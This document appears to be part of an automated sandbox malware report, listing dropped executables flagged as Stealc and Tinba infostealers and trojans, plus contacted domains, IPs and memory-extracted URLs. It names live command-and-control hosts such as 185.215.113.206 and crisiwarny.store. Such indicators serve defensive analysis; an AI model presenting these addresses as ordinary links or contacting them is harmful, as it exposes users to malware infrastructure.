C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1001636001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\UYC74GB6WBXMLVLE5D9EEPR.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://content-signature-2.cdn.mozilla.net/	0%	URL Reputation	safe
https://json-schema.org/draft/2020-12/schema/=	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.0/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
star-mini.c10r.facebook.com	157.240.0.35	true	false	0%, Virustotal, Browse	unknown
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.1	true	false		unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	172.217.18.14	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
reddit.map.fastly.net	151.101.1.140	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
crisiwarny.store	172.67.170.64	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
fadehairucw.store	true		unknown
founpiuer.store	true		unknown
http://185.215.113.37/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://crisiwarny.store/apih	df757a3a2c.exe, 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpee860fe502924bh	ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apin	df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft	file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apie	file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/b	df757a3a2c.exe, 00000014.00000003.2199963901.0000000001485000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/e	df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2531510451.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2519762503.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/mS	df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000025.00000003.2363468563.000001F84878D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://truecolors.firefox.comaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpictu	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/50Lx	file.exe, 00000006.00000003.1351990490.000000000574C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1351920065.000000000574C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000025.00000002.2459673235.000001F8303D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.comhttps://addons.mozilla.orgupgradeTabsProgressListenerremoveTabsProgre	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.leboncoin.fr/	firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/ws	JSB9K8LR5IJBR9A62C6KA1RW.exe, 0000000E.00000002.1912431700.000000000185A000.00000004.00000020.00020000.00000000.sdmp, ea19c894e7.exe, 00000015.00000002.2239265604.0000000000A97000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/Y	df757a3a2c.exe, 00000014.00000003.2199963901.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/X	df757a3a2c.exe, 00000014.00000003.2199963901.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000025.00000002.2503641584.000001F841B6A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apiU	file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com	firefox.exe, 00000025.00000002.2494010655.000001F840A03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2482519588.000001F83FF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000003.2321503699.000001F840040000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/operationsRequiringRestartget	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000025.00000002.2529879447.000001F843D09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 00000025.00000002.2520016985.000001F84253F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/0	firefox.exe, 00000025.00000002.2554244778.000038F0C1500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2482519588.000001F83FF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000003.2321503699.000001F840040000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.orgmigrateXULAttributeToStyleContentPermissionIntegrationStorageAccessPermis	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apis	file.exe, 00000006.00000003.1413694722.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/s	file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2228839491.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2224787223.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2531510451.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2519762503.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bestMatchEnabledwebcompat	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.li	firefox.exe, 00000025.00000003.2408266184.000001F8492BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/#	df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2383235771.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2379633273.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/	firefox.exe, 00000025.00000002.2499244316.000001F841633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/api&	df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 00000025.00000002.2459673235.000001F83036B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 00000025.00000002.2472850400.000001F83E806000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://profiler.firefox.com:	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjsresource:	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/dates-and-times	firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000006.00000003.1372327788.0000000005787000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2177545159.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2380880233.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2498238263.000001F84155F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/	firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/A	file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 00000025.00000002.2459673235.000001F83036B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496596781.000001F8412D3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 00000025.00000002.2494010655.000001F840AA4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
